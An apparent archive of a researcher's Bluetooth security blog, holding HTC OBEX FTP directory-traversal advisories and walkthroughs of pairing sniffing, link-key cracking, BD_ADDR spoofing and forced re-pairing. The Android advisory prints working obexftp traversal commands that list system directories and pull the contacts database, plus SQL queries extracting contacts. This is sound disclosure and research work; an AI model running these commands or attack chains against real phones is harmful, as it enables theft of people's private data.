Seguridad Mobile

Mobile phones vulnerable to OBEX FTP Service Directory Traversal in Japan

2011-10-25T10:05:00.009+02:00

HTC mobile phones running the following versions of Windows Mobile and Android are affected by the HTC / Windows Mobile OBEX FTP Service Directory Traversal Vulnerability (Bugtraq ID 33359) and the HTC / Android OBEX FTP Service Directory Traversal Vulnerability (Bugtraq ID 48821), respectively.

Platform	Windows Mobile	Android
Vulnerable	Windows Mobile 6 Professional	Android 2.1
	Windows Mobile 6 Standard	Android 2.2
	Windows Mobile 6.1 Professional
	Windows Mobile 6.1 Standard
Fixed (upon disclosure)	Windows Mobile 6.5	Android 2.3

After carrying out several tests in mobile phones sold in Japan by different operators, I can state that the following handsets are vulnerable, up to September 2011.

Platform	Product name	Operator name	Status
Windows Mobile	HTC TOUCH™ DUAL	DoCoMo HT1100	Discontinued
	HTC TOUCH™ DIAMOND	DoCoMo HT-02A	Discontinued
	HTC TOUCH™ PRO	DoCoMo HT-01A	Discontinued
	HTC TyTN II™	EMobile S11HT	On sale
	HTC TOUCH™ DUAL	EMobile S12HT	On sale
	HTC S740	EMobile S22HT	On sale
Android	HTC ARIA	EMobile S31HT	On sale
	HTC DESIRE	Softbank X06HT	On sale
	HTC DESIRE	Softbank X06HTII	On sale
	HTC DESIRE HD	Softbank 001HT	On sale
	HTC EVO WiMAX	Au KDDI ISW11HT	On sale

Regarding the security hotfix for Windows Mobile, HTC discontinued the support downloads for Windows Mobile 6 and Windows Mobile 6.1 handsets time ago. Unfortunately, the operator EMobile did not install the hotfix when it was available and as far as I could test products on sale are vulnerable. Users have no way to protect their handsets against the vulnerability.

Regarding the security hotfix for Android, HTC has not announced any security update related to the vulnerability for the affected versions, Android 2.1 and Android 2.2. The advisory was, however, reported to the company in 2011/02 (then disclosed in 2011/07) and the security flaw was fixed for Android 2.3. Users of HTC / Android products should update to Android 2.3 to protect their handsets.

My first academic publication

2011-08-30T08:27:00.000+02:00

Alberto Moreno and Eiji Okamoto. BlueSnarf revisited: OBEX FTP service directory traversal. In V. Casares-Giner et al., editors, NETWORKING 2011 Workshops, number 6827 in Lecture Notes in Computer Science, pages 155-166. Springer, 2011. © Springer-Verlag

HTC / Android OBEX FTP Service Directory Traversal Vulnerability Advisory

2011-07-26T10:16:00.008+02:00

Title: HTC / Android OBEX FTP Service Directory Traversal 
Author: Alberto Moreno Tablado 
Vendor: HTC 
Vulnerable Products: 
- HTC devices running Android 2.1 
- HTC devices running Android 2.2

Summary

HTC devices running Android 2.1 and Android 2.2 are prone to a directory traversal vulnerability in the Bluetooth OBEX FTP Service. Exploiting this issue allows a remote authenticated attacker to list arbitrary directories, and read arbitrary files, via a ../ in a pathname.

Description

In the present HTC / Android phones include a Bluetooth stack, which provides Bluetooth communications with other remote devices. The File Transfer Profile (OBEX FTP) is one among all the Bluetooth services that may be implemented in the stack.

The OBEX FTP service is a software implementation of the File Transfer Profile (FTP). The File Transfer Profile (FTP) is intended for data exchange and it is based on the OBEX communications client-server protocol. The service is present in a large number of Bluetooth mobile phones. This service can be used for sending files from the phone to other remote devices and also allows remote devices to browse shared folders and download files from the phone.

In HTC / Android phones, the default directory of the OBEX FTP Server is the SDCard. Only files placed in the directory of the SDCard can be shared. The user cannot select other directory so sensitive files related to the operating system are not exposed.

There exists a Directory Traversal vulnerability in the OBEX FTP Service in the Bluetooth Stack implemented in HTC devices running Android 2.1 and Android 2.2. The OBEX FTP Server is a 3rd party driver developed by HTC and installed on HTC devices running Android operating system, so the vulnerability affects to this vendor specifically.

A remote attacker (who previously owned authentication and authorization rights) can use tools like ObexFTP or gnomevfs-ls over Linux to traverse to parent directories out of the default Bluetooth shared folder by using ../ or ..\\ marks.

The only requirement is that the attacker must have authentication and authorization privileges over Bluetooth. Pairing up with the remote device should be enough to get it. However, more sophisticated attacks, such as sniffing the Bluetooth pairing, linkkey cracking and MAC address spoofing, can be used in order to avoid this. In case the attacker succeeded in getting the proper privileges, further actions will be transparent to the user.

Scope of the attack

The Directory Traversal vulnerability allows a remote attacker to browse folders located anywhere in the file system and download any file contained in any folder.

1) List arbitrary directories

Any directory within the file system of the phone can be browsed, beyond the limits of the default shared folder (the SDCard).

The following example is the output of a command for listing a directory with ObexFTP. Given the Bluetooth MAC address of an HTC / Android based mobile phone and the path ../, the command retrieves the content of the parent of the default directory of the FTP server, this is the root directory of the disk file system:

gospel@ubuntu:~$ obexftp -b 90:21:55:8C:2C:3A -l "../"
Browsing 90:21:55:8C:2C:3A ...
Connecting..\done
Tried to connect for 29ms
Receiving "../"... Sending ".."...|done
/<?xml version="1.0"?>
<!DOCTYPE folder-listing SYSTEM "obex-folder-listing.dtd">
<folder-listing version="1.0">
  <parent-folder/>
  <folder name="sqlite_stmt_journals"/>
  <folder name="config"/>
  <folder name="sdcard"/>
  <folder name="d"/>
  <folder name="etc"/>
  <folder name="cache"/>
  <folder name="system"/>
  <folder name="sys"/>
  <folder name="sbin"/>
  <folder name="proc"/>
  <file name="logo.rle" size="11336" user-perm="R" created="19700101T090000Z"/>
  <file name="init.rc" size="14664" user-perm="R" created="19700101T090000Z"/>
  <file name="init.goldfish.rc" size="1677" user-perm="R" created="19700101T090000Z"/>
  <file name="init.buzz.rc" size="3608" user-perm="R" created="19700101T090000Z"/>
  <file name="init" size="107668" user-perm="R" created="19700101T090000Z"/>
  <file name="default.prop" size="118" user-perm="R" created="19700101T090000Z"/>
  <folder name="data"/>
  <folder name="root"/>
  <folder name="dev"/>
</folder-listing>done
Disconnecting..-done

2) Read arbitrary files

Any file located in the file system can be downloaded. This may lead to access confidential data such as contacts, messages, emails or temporary internet files.

- Emails from Google account downloaded via GMAIL application, located in /data/data/com.google.android.providers.gmail/databases/mailstore.*****@gmail.com.db
- Friends, conversations, mailbox_messages, etc. from Facebook account downloaded via FACEBOOK application, located in ../data/data/com.facebook.katana/databases/fb.db
- Contacts database, located in /data/data/com.android.providers.contacts/databases/contacts2.db.

The following example is the output of a command for downloading a file with ObexFTP. Given the Bluetooth MAC address of an HTC / Android based mobile phone and the pathname ../data/data/com.android.providers.contacts/databases/contacts2.db, the command retrieves the contacts database: 

gospel@ubuntu:~$ obexftp -b 90:21:55:8C:2C:3A -g "../data/data/com.android.providers.contacts/databases/contacts2.db"
Browsing 90:21:55:8C:2C:3A ...
Connecting..\done
Tried to connect for 50ms
Receiving "../data/data/com.android.providers.contacts/databases/contacts2.db"... Sending ".."...|Sending "data".../Sending "data"...-Sending "com.android.providers.contacts"...\Sending "databases"...|done
/done
Disconnecting..-done

Once the database is downloaded, contacts can be queried with SQL:

Also contacts synced from Google and Facebook accounts can be queried from the same database:

gospel@ubuntu:~$ ./sqlite3 contacts2.db "SELECT data.data1 from data INNER JOIN raw_contacts ON data.raw_contact_id = raw_contacts._id WHERE raw_contacts.account_type='com.htc.socialnetwork.facebook'"
*********
Aitana *******
Aitana *******
********@gmail.com
http://profile.ak.fbcdn.net/hprofile-ak-snc4/hs712.ash1/******_*********
*_*******_*.jpg
...

Affected products

- HTC devices running Android 2.1
- HTC devices running Android 2.2

The following products were tested and showed to be vulnerable: HTC Wildfire A3333, Softbank 001HT (HTC Desire HD), EMobile S31HT (HTC Aria).

Vendor status

This vulnerability is related to CVE-2009-0244, a vulnerability announced in 2009 affecting HTC devices running Windows Mobile 6 and Windows Mobile 6.1 and reported to HTC Europe. After the vulnerability was disclosed, HTC issued security hotfixes under the name Hotfix to enhance the security mechanism of Bluetooth service for all the affected products. HTC reproduced the same security flaw in Android phones shipped throughout 2010 and 2011.

The current advisory was reported to HTC Japan in 2011/02. Subsequently, it was reported to HTC Europe in 2011/04 in order to obtain more feedback and re-attempt the collaboration. In both cases I failed to coordinate the disclosure of the advisory and release of the hotfix so finally I am forced to go public with all the information undisclosed.

The vulnerability is published as a zero-day threat. This means that all HTC devices running Android 2.1 and Android 2.2 shipped up to date July 2011 may be vulnerable and a security hotfix has not been issued by the manufacturer yet.

Users of HTC Android phones may expect to receive a notification for security update over-the-air regarding to this vulnerability, or find the latest updates in the support site.

Do not accept pairing nor connection requests from unknown sources. Delete old entries in the paired devices list.

Read the full advisory here.

HTC Wildfire, HTC Desire HD and HTC Aria are trademarks of HTC Corporation (HTC). Softbank 001HT is a trademark of SOFTBANK Corp. EMobile S31HT is a trademark of EMOBILE Ltd.

HTC releases hotfix for Bluetooth security flaw

2009-07-16T11:46:00.013+02:00

HTC commenced to issue hotfixes referred to the HTC / Windows Mobile OBEX FTP Service Directory Traversal vulnerability.

All users of HTC products affected may download and install the hotfix to enhance the security mechanisms of the Bluetooth service in their HTC handsets:

For other devices not listed, you may find the latest security updates here.

After the install of the security patch, the OBEX FTP Service Directory Traversal flaw will be fixed.

Thanks to Niclas Nielsen for the early notification.

All trademarks mentioned herein belong to HTC Corporation (HTC).

HTC / Windows Mobile OBEX FTP Service Directory Traversal Vulnerability Advisory

2009-07-13T23:58:00.009+02:00

Title: HTC / Windows Mobile OBEX FTP Service Directory Traversal
Author: Alberto Moreno Tablado
Vendor: HTC
Vulnerable Products:
- HTC devices running Windows Mobile 6
- HTC devices running Windows Mobile 6.1
Non vulnerable products:
- HTC devices running Windows Mobile 5.0
- HTC devices running Windows Mobile 6.5
- Other vendors' Windows Mobile devices

Description

HTC devices running Windows Mobile 6 and Windows Mobile 6.1 are prone to a directory traversal vulnerability in the Bluetooth OBEX FTP Service. The service is located in a 3rd party driver developed by HTC and installed on HTC devices running Windows Mobile, so the vulnerability only affects to this vendor specifically.

The scope of the Directory Traversal vulnerability allows a remote attacker to traverse to parent directories out of the default Bluetooth shared folder by using ../ or ..\\ marks. This security flaw leads to browse folders located anywhere in the file system, download files contained in any folder as well as upload files to any folder, which may lead to code execution.

A remote attacker who previously owned authentication and authorization rights over Bluetooth can perform three risky actions on the device:

1) Browse directories located out of the limits of the default shared folder

The attacker can discover the structure of the file system and access to any directory within it, including:
- The flash hard drive
- The external storage card
- The internal mass storage memory, included in specific HTC devices

2) Download files without permission

The attacker can download sensitive files located anywhere in the file system, such as:
- personal pictures and documents located in \My Documents or any other directory
- Contacts, Calendar & Tasks information located in \PIM.vol
- Temporary internet cache and cookies located in \Windows\Profiles\guest
- emails located in \Windows\Messaging

3) Upload malicious files

The attacker can replace third party or system executable files with malicious files as well as upload trojans to any place in the filesystem, such as \Windows\Startup and, therefore, shall be executed the next time Windows Mobile inits.

The following HTC devices are affected by this vulnerability:
- HTC devices running Windows Mobile 6 Professional
- HTC devices running Windows Mobile 6 Standard
- HTC devices running Windows Mobile 6.1 Professional
- HTC devices running Windows Mobile 6.1 Standard

Here you can find a list of tested HTC devices proved to be vulnerable.

HTC devices running Windows Mobile 5.0 are not affected because the OBEX FTP service is not implemented in that OS version.

Other vendors' Windows Mobile devices are not affected either: ASUS, Samsung, LG, ...

Vendor Status

The vulnerability was first disclosed on 2009/01/19 as a whole Microsoft Bluetooth Stack issue in Windows Mobile 6 Professional. Subsequent tests proved that several Windows Mobile 6 Standard and Windows Mobile 6.1 Professional devices were also vulnerable. Microsoft was contacted on 2009/01/22 and this information was not made public because last mobile phones manufactured were vulnerable.

Further investigations proved that the issue is in a 3rd party driver installed by HTC, this vulnerability only affects to HTC devices and other vendors' Windows Mobile devices are not affected.

HTC Europe was contacted several times since 2009/02 until 2009/06. Through out this period of time I attempted to collaborate with the vendor and provided all the details concerning on the exploitation of the flaw. However, I failed to coordinate the disclosure of the advisory and the release of the hotfix so finally I was forced to go public with all the information undisclosed.

Having the vulnerability been announced HTC commenced to release hotfixes.

This vulnerability is a zero-day threat. This means that all devices shipped up to date (July 2009) may be vulnerable.

Read the full advisory here.

Slides de las Conferencias FIST MADRID

2009-04-17T18:05:00.006+02:00

Publico las presentaciones de mi charla sobre Seguridad en Windows Mobile en las Conferencias FIST celebradas en Madrid en 2009:

Conferencias FIST MADRID Febrero 2009, con la colaboración del Consejo Superior de Investigaciones Científicas y de la asociación ISSA España.

Conferencias FIST MADRID Marzo 2009, con la colaboración de la Cátedra Applus+ de Seguridad y Desarrollo de la Sociedad de la Información de la Universidad Politécnica de Madrid y de la asociación ISSA España.

¡Que aproveche!

BlueZSpammer

2009-03-11T23:43:00.010+01:00

Acabo de publicar una nueva versión de BlueZSpammer.

BlueZSpammer es una herramienta front-end para Obexftp que permite descubrir dispositivos Bluetooth con soporte para el Perfil de Carga de Objetos (OBEX Object Push) y enviar archivos de forma masiva. Es incluso capaz de filtrar únicamente teléfonos móviles y Smartphones. Utiliza la pila de protocolos BlueZ para Linux y está desarrollado en lenguaje C.

BlueZScanner implementa las siguientes funciones Bluetooth utilizando el API de BlueZ:

Detección de dispositivos Bluetooth cercanos.
Identificación de la dirección BD_ADDR, Class of Device o tipo de dispositivo, Nombre del dispositivo y Fabricante del chipset Bluetooth.
Filtro de teléfonos móviles y Smartphones.
Envío de archivos a través del Perfil de Carga de Objetos (OBEX Object Push) con ayuda de Obexftp.

El código fuente de BlueZSpammer se distribuye libremente bajo licencia GNU.

BlueZSpammer es una herramienta desarrollada con fines científicos y educacionales con el objeto de ayudar a entender conceptos como el marketing de proximidad; si alguien está interesado en una solución profesional, recomiendo XBlue de Endorasoft. No debe ser utilizada como herramienta de spam en lugares públicos con fines comerciales o de fastidio para otras personas. El autor no tiene ninguna responsabilidad sobre el uso que pueda darse a esta herramienta.

Puedes encontrar más información sobre BlueZScanner aquí, la herramienta está disponible para descarga.

Conferencias FIST MADRID Marzo 2009

2009-03-08T21:42:00.004+01:00

El Jueves 12 de marzo de 2009, con la colaboración de la Cátedra UPM Applus+ de Seguridad y Desarrollo de la Sociedad de la Información CAPSDESI, se repetirá en Madrid, en respuesta al enorme interés que despertó, la reciente edición de las Conferencias de Seguridad FIST celebrada recientemente en el Consejo Superior de Investigaciones Científicas.

Programa:
- 18:00 "Inauguración" - Jorge Ramió - Cátedra UPM Applus+
- 18:05 "La jungla de las redes Wifi" - Alejandro Martín (Informatica64)
- 19:00 "Seguridad en Windows Mobile" - Alberto Moreno
- 20:05 "Network Access Control" - David Carrasco (Heroes Certificados)

Lugar:
El evento tendrá lugar en la Sala de Grados 3004 de la Escuela Universitaria de Ingeniería Técnica de Telecomunicación EUITT de la UPM, Campus Sur. Cómo llegar.

Para más información:
http://www.fistconference.org/?s=6&t=2

Se recomienda inscribirse, dado que las plazas son limitadas (aforo: 67). Tendrán prioridad aquellos inscritos en la primera edición que no pudieron asistir por problemas de ocupación.

¡Nos vemos!

Conferencias FIST, ¡repetimos!

2009-02-23T19:44:00.004+01:00

El pasado Jueves 19 de Febrero se celebraron en Madrid las Conferencias FIST de Seguridad. La experiencia fue muy buena y tuve el placer de compartir cartel con Alejandro Martín y David Carrasco, dos magníficos ponentes. Agradezco a Vicente Aceituno y a Gonzálo Alvarez Marañón la oportunidad que me dieron de participar en el evento.

Mi charla sobre Seguridad en Windows Mobile salió bien y, a pesar del temido efecto demo, que no faltó a la cita, llegué hasta el final con la demostración práctica de ataques en cadena a través de Bluetooth para conseguir robar emails y ejecutar troyanos en un teléfono HTC.

Según la organización, un gran número de asistentes no pudo acceder a la sala por problemas de ocupación, así que se tiene pensado repetir el evento en Marzo con el mismo contenido. Las dispositivas de las conferencias se publicarán entonces.

Todavía no hay fecha y lugar de celebración del próximo evento, pero por si acaso estad atentos para la inscripción . ;)

Os dejo con la crónica de uno de los asistentes a las Conferencias FIST.

¡Gracias a todos por asistir! Nos vemos en Marzo ;)

Conferencias FIST MADRID Febrero 2009

2009-02-10T19:12:00.003+01:00

El Jueves 19 de Febrero de 2009, gracias a la colaboración del Consejo Superior de Investigaciones Científicas y de la asociación ISSA España se celebrará en Madrid una nueva edición de las Conferencias de Seguridad FIST. El evento tendrá lugar en el edificio del Instituto de Física Aplicada del CSIC.

Programa:
- 18:00 "ISSA España" - Vicente Aceituno
- 18:10 "La jungla de las redes Wifi" - Alejandro Martín (Informatica64)
- 19:10 "Seguridad en Windows Mobile" - Alberto Moreno
- 20:00 Descanso
- 20:10 "Network Access Control" - David Carrasco (Heroes Certificados)
- 21:00 Despedida

Lugar:
La sala está en la Calle Serrano, 144. Cómo llegar.

Para más información:
http://www.fistconference.org/?s=6&t=2

Se recomienda inscribirse, dado que las plazas son limitadas.

Nos vemos allí ;)

Breaking the pair relationship between two remote devices

2008-11-23T13:34:00.014+01:00

Sniffing and cracking the secret Bluetooth link key shared between two remote devices is only possible if the attacker can sniff the pairing process successfully. This means there's no way to sniff and crack the Bluetooth link key if both devices are already paired up, since they will follow the Challenge-Response authentication process.

If you find this scenario, it'd be interesting if you could break the pair relationship between both devices and force them to repeat the pairing process. Then you'll have the chance to sniff and crack the new link key.

Shaked and Wool Re-Pairing attack, the theory.

Long time ago Yaniv Shaked and Avishai Wool published a paper explaining how to cryptographically crack the Bluetooth PIN. I quote:

5.2 Attack details

Assume that two Bluetooth devices that have already been paired before now intend to establish communication again. This means that they don't need to create the link key Kab again, since they have already created and stored it before. They proceed directly to the Authentication phase (...). We describe three different methods that can be used to force the devices to repeat the pairing process. The efficiency of each method depends on the implementation of the Bluetooth core in the device under attack. These methods appear in order of efficiency:

Since the devices skipped the pairing process and proceeded directly to the Authentication phase, the master device sends the slave an AU_RAND message, and expects the SRES message in return. Note that Bluetooth specifications allow a Bluetooth device to forget a link key. In such a case, the slave sends an LMP_not_accepted message in return, to let the master know it has forgotten the link key (...). Therefore, after the master device has sent the AU_RAND message to the slave, the attacker injects a LMP_not_accepted message toward the master. The master will be convinced that the slave has lost the link key and pairing will be restarted (...). Restarting the pairing procedure causes the master to discard the link key (...). This assures pairing must be done before devices can authenticate again.
At the beginning of the Authentication phase, the master device is supposed to send the AU_RAND to the slave. If before doing so, the attacker injects a IN_RAND message toward the slave, the slave device will be convinced the master has lost the link key and pairing is restarted. This will cause the connection establishment to restart.
During the Authentication phase, the master device sends the slave an AU_RAND message, and expects a SRES message in return. If, after the master has sent the AU_RAND message, an attacker injects a random SRES message toward the master, this will cause the Authentication phase to restart, and repeated attempts will be made (...). At some point, after a certain number of failed authentication attempts, the master device is expected to declare that the authentication procedure has failed (implementation dependent) and initiate pairing (...).

The three methods described above cause one of the devices to discard its link key. This assures the pairing process will occur during the next connection establishment, so the attacker will be able to eavesdrop on the entire process, and use the method described in Section 3 to crack the PIN.

Spoofing the wrong link key, the practice.

Shaked and Wool attack looks nice and smart, but method 3 can be described in a much easier way: You just need to spoof one device's BD_ADDR and provide a wrong Bluetooth link key when authenticating in some other device's Bluetooth profile. Trust relationship will be broken for security reasons and the stored link key deleted.

Let's see this with an example:

You discover two remote devices, a mobile phone and a PDA. You'd like to obtain the secret shared Bluetooth link key, however both devices are already paired up.

If any of the devices establishes a connection with the other one, they will follow a Challenge-Response process to validate the authentication mechanism.

In order to break the pair relationship, you need to spoof one of them first (spoof its BD_ADDR). Let's say you choose to spoof the mobile phone...

Then, you need to install a random Bluetooth link key in the system.

From now on whenever you try to establish a connection with any Bluetooth profile requiring authentication in the PDA (the other device) the stored link key will be used in the Challenge-Response process.

The link key provided is wrong, so the Challenge-Response process will fail.

The attacker tries to connect the OBEX FTP profile in the PDA, which requires authentication.

For security reasons, the trust relationship will be broken and the stored link key will be deleted in the PDA.

If the mobile phone now tries to establish a connection with the PDA, the devices won't follow the Challenge-Response authentication process; they will need to repeat the pairing process.

And you will be there to sniff and crack the new Bluetooth link key. ;)

Sniffing the Bluetooth pairing

2008-11-18T11:28:00.008+01:00

As i already proved, it's very easy to build your own Bluetooth sniffer from a consumer Bluetooth dongle. Among all the cool things you can do with that sniffer, it'd be amazing it you could sniff the Bluetooth pairing process and obtain the secret link key shared between two remote devices.

First, you need to build your own Bluetooth sniffer.

Then, discover two random devices before they initiate the pairing process.

Andrea (aka sorbo) published a frontline tool which can be used for sending commands to the hardware sniffer. Instead, i'll use a modded version of this frontline coded by drgr33n and published under a Bluetooth security suite called Blue Smash.

Let's start sniffing...

At this time, the remote devices can begin the pairing process, packets generated will be captured by the sniffer.

Among all the packets captured you may find the keys created for the Bluetooth link key generation and therefore obtain it.

OpenCiphers' Bluetooth Pin Cracking Core or BTCrack PIN Cracker by Thierry Zoller can be used to crack the link key from the sniffed keys.

You can check the cracked link key, Kab, is the same shared by the remote devices.

Once you own the Bluetooth link key, you can perform the BD_ADDR spoofing attack and use it to access to profiles requiring authorization/authentication in both devices, such as OBEX FTP Profile, which allows you to send files, get files and list directories in the mobile phone.

And the Dial Up Networking Profile, which allows you to send AT Commands to the mobile phone.

Bluetooth security is now broken. However, keep in mind that performing this attack in the real world is almost impossible. You need to find two devices just before they initiate the pairing process and know which one is playing the master role in the piconet in advance. This is a PoC only suitable for a perfect in-the-lab scenario with all devices under control. (But still rocks!)

Sniffando el emparejamiento Bluetooth

2008-11-17T12:57:00.007+01:00

Como ya demostré, es muy fácil construir tu propio sniffer Bluetooth a partir de un adaptador USB Bluetooth convencional. Entre todas las cosas guays que podrías hacer con un sniffer, sería increible poder sniffar durante el emparejamiento de dos dispositivos Bluetooth y obtener la clave de enlace que comparten.

En primer lugar, necesitamos haber construido nuestro propio sniffer Bluetooth.

A continuación debemos detectar dos dispositivos cualesquiera que estén a punto de iniciar el proceso de emparejamiento.

Andrea (aka sorbo) publicó hace tiempo la herramienta frontline que permite enviar comandos a un sniffer hardware. Sin embargo, en su lugar utilizaré una versión modificada por drgr33n y publicada bajo una suite de auditoría de seguridad Bluetooth llamada Blue Smash.

Empezamos a sniffar...

En este punto, los dispositivos Bluetooth remotos pueden comenzar el proceso de emparejamiento, los paquetes generados serán capturados por el sniffer.

Entre todos los paquetes capturados, podemos encontrar las claves temporales creadas durante el proceso de emparejamiento para generar la clave de enlace y, por consiguiente, llegar a obtener la misma.

Podemos utilizar el Bluetooth Pin Cracking Core de OpenCiphers o el BTCrack PIN Cracker de Thierry Zoller para crackear la clave de enlace Bluetooth a partir de las claves temporales capturadas.

Es fácil comprobar si la clave crackeada corresponde con la clave de enlace que realmente comparten los dispositivos remotos.

Una vez que la clave de enlace Bluetooth está en nuestra posesión, podemos llevar a cabo el ataque BD_ADDR spoofing y utilizar esta clave para acceder a perfiles que requieran autorización/autenticación en cualquiera de los dispositivos, como por ejemplo el perfil de OBEX FTP para Transferencia de Archivos, que permite enviar y descargar archivos del teléfono móvil así como listar directorios.

Y el perfil de Acceso Telefónico a Redes, que permite enviar comandos AT al teléfono móvil.

Con esto se ha conseguido romper definitivamente la seguridad en Bluetooth. No obstante, resulta casi imposible reproducir este ataque en el mundo real. Necesitaríamos encontrar dos dispositivos en un estado anterior al proceso de emparejamiento y saber de antemano cual de los dos juega el papel de maestro en la piconet. Es una Prueba de Concepto que únicamente puede ser reproducida en un entorno de laboratorio, con todos los dispositivos bajo nuestro control. (¡Pero aún así mola!)

Building your own Bluetooth sniffer

2008-11-12T13:39:00.008+01:00

On May 2007 Max Moser published a procedure to build your own cheap Bluetooth sniffer from a consumer Bluetooth dongle. Here's the practical how-to, it's fully documented on the internet so this is a short and quick explanation.

There are specific requirements for the Bluetooth adaptor so it can be flashed into a Bluetooth sniffer:

1. Cambridge Silicon Radio (CSR) chipset.

2. BC4 External or Flash. ROM memory adaptors can't be used.

The second dongle (BC4 EXT) will do, the first (BC2 EXT) not sure.

You need these tools:

bccmd: modify firmware settings
dfutool: flash and update the firmware

You can obtain them via bluez-cvs, here is how to:

# sudo apt-get install libbluetooth2 libbluetooth2-dev libusb-0.1-4 libusb-dev
# cvs -d:pserver:anonymous@cvs.bluez.org:/cvsroot/bluez login
# cvs -d:pserver:anonymous@cvs.bluez.org:/cvsroot/bluez co utils
# cd utils/tools
# gcc -lusb -lbluetooth csr.c csr_3wire.c csr_bcsp.c csr_h4.c csr_hci.c csr_usb.c ubcsp.c bccmd.c -o bccmd
# gcc -lusb -lbluetooth csr.c dfutool.c -o dfutool

You will also need to download and install Frontline Test Equipment FTS4BT version <= 5.6.9.0, in order to obtain the airsnifferdev4*bc4.dfu firmware which you can use to upgrade the dongle.

The procedure is simple. First, you need to change the product id (should be 0x0002) and vendor id (should be 0x0a12), the FTS4BT tool requires that to recognize the Bluetooth adaptor.

Then, you need to backup the firmware of the dongle before flashing it with airsnifferdev4*bc4.dfu.

If you use airsnifferdev5*bc4.dfu you might brick your dongle and make it useless so it's important to find the correct version of FTS4BT (with airsnifferdev4*bc4.dfu), the last version won't do.

After you have done those two operations successfully you can see the Bluetooth dongle is in RAW mode. (You may need to plug it out & in).

The RX and TX bytes should be rising.

You can also test it's working by executing frontline, the tool released by Andrea (aka sorbo) for sending commands to a hardware sniffer.

The timer should be increasing.

You got it!

You can follow these useful links to find more information:

Construyendo tu propio sniffer Bluetooth

2008-11-11T05:05:00.004+01:00

Como ya comenté en mi post sobre Avances en sniffing Bluetooth, en Mayo de 2007 Max Moser publicó un procedimiento para construir tu propio sniffer Bluetooth a partir de un adaptador USB Bluetooth convencional.

El adaptador Bluetooth necesita cumplir dos requerimientos para poder ser convertido en un sniffer Bluetooth:

1. Chipset Cambridge Silicon Radio (CSR).

2. BC4 External o Flash. Los adaptadores Bluetooth con memoria ROM no sirven.

El segundo adaptador (BC4 EXT) sirve, el primero (BC2 EXT) no estoy seguro.

Necesitas conseguir las siguientes herramientas:

bccmd: permite modificar la configuración del firmware
dfutool: permite flashear el adaptador y actualizar el firmware

Se pueden obtener vía bluez-cvs, aquí se explica cómo:

# sudo apt-get install libbluetooth2 libbluetooth2-dev libusb-0.1-4 libusb-dev
# cvs -d:pserver:anonymous@cvs.bluez.org:/cvsroot/bluez login
# cvs -d:pserver:anonymous@cvs.bluez.org:/cvsroot/bluez co utils
# cd utils/tools
# gcc -lusb -lbluetooth csr.c csr_3wire.c csr_bcsp.c csr_h4.c csr_hci.c csr_usb.c ubcsp.c bccmd.c -o bccmd
# gcc -lusb -lbluetooth csr.c dfutool.c -o dfutool

También hace falta descargarse e instalar el paquete Frontline Test Equipment FTS4BT versión <= 5.6.9.0, que contiene el firmware airsnifferdev4*bc4.dfu que luego utilizaremos para actualizar el adaptador Bluetooth.

El procedimiento es simple. En primer lugar, la herramienta FTS4BT requiere cierta configuración para poder reconocer el adaptador como sniffer hardware. Hay que cambiar el id de producto (debería ser 0x0002) y el id de fabricante (debería ser 0x0a12).

Después, es recomendable hacer backup del firmware existente en el adaptador Bluetooth antes de flashearlo y cargarle el firmware airsnifferdev4*bc4.dfu.

Si se utiliza el firmware airsnifferdev5*bc4.dfu el adaptador puede quedar inservible así que es importante obtener la versión correcta de FTS4BT (la que contiene airsnifferdev4*bc4.dfu), las últimas versiones disponibles para descarga no sirven.

Tras haber realizado con éxito estas operaciones, se puede observar que el adaptador Bluetooth se encuentra en modo RAW. (Es posible que necesites sacarlo y volverlo a meter).

Los bytes RX y TX deberían ir en aumento.

También puedes comprobar que funciona ejecutando frontline, la herramienta publicada por Andrea (aka sorbo) que permite enviar comandos a un sniffer hardware.

El tiempo debería ir creciendo.

¡Ya lo tienes!

Ahora podrías utilizar el adaptador USB Bluetooth como hardware del sniffer FTS4BT y comenzar a sniffar, pero para ello necesitas tener el paquete comercial registrado con ese adaptador (aunque siempre puedes cambiar la BD_ADDR del adaptador ;)).

Puedes encontrar más información en estos enlaces:

BD_ADDR spoofing attack

2008-10-17T00:41:00.012+02:00

One of the major security issues in Bluetooth is the BD_ADDR spoofing. Taking a look at the spec you can see how simple are the security mechanisms implemented by Bluetooth technology: authorization and authentication.

3.2.1 Authorisation and Authentication
Authorisation is the process of deciding if device X is allowed to have access to service Y. This is where the concept of ‘trusted’ exists. Trusted devices (authenticated and indicated as “trusted”), are allowed access to services.
3.2.2 Security Levels of Services
Authorisation Required: Access is only granted automatically to trusted devices (i.e., devices marked as such in the device database) or untrusted devices after an authorisation procedure.

Source: 3.2 Security Levels – Bluetooth Security Architecture Version 1.0 (www.bluetooth.com)

That means that the authorization mechanism is based only in the BD_ADDR of the devices, if the BD_ADDR exists in the trusted devices list, got access granted.

4.2.1 Authentication
The authentication procedure is based on a challenge-response scheme […]. The verifier sends […] a random number (the challenge) to the claimant. The claimant calculates a response, that is a function of this challenge, the claimant’s BD_ADDR and a secret key. The response is sent back to the verifier, that checks if the response was correct or not. […] A successful calculation of the authentication response requires that two devices share a secret key.

Source: 4.2 Security - Core v2.0 + EDR (www.bluetooth.org, available for SIG members)

That means that the authentication mechanism is based only in the BD_ADDR and the shared secret link key.

Some interesting questions show up... :)

What happens if an attacker spoofs some trusted device's BD_ADDR? Is he autorized to connect the remote device?
What happens if an attacker gets access to a secret link key shared between two devices? Can it be used to authenticate on both of them?

Yes, you can.

The BD_ADDR spoofing attack.

The BD_ADDR spoofing attack allows an attacker to masquerade as some trusted/paired device and use the credentials to gain access to profiles requiring authorization/authentication in a remote mobile phone.

The BD_ADDR spoofing attack can be developed in two levels:

Spoofing the BD_ADDR of some trusted device to access profiles requiring authorization.
Spoofing the BD_ADDR and obtaining the shared secret link key generated during the pair up to access profiles requiring authentication.

The scope of such attack can be:

Practical scenario.

Let's create a scenario with a Sony-Ericcson phone paired up with a a Dell Axim PDA. The HTC Shift will spoof the PDA's identity to attack the mobile phone.

First, you discover the devices.

If you try to establish any connection with the mobile phone, it's sure that the user will deny it since it's coming from an unknown device.

So, in order the HTC Shift can impersonate the PDA you need to spoof its BD_ADDR.

And obtain the secret link key shared between the PDA and the mobile phone.

At this time, we're not discussing ways to obtaining the link key, let's say you simply get (physical or virtual) access to it in the PDA. After, you install the key on Ubuntu.

Finally you gain free access to profiles requiring authorization/authentication.

For instance, the OBEX FTP Profile, which allows you to send files, get files and list directories in the mobile phone.

For instance, the Dial Up Networking Profile, which allows you to send AT Commands to the mobile phone.

Changing HTC Shift integrated BD_ADDR

2008-10-15T18:35:00.009+02:00

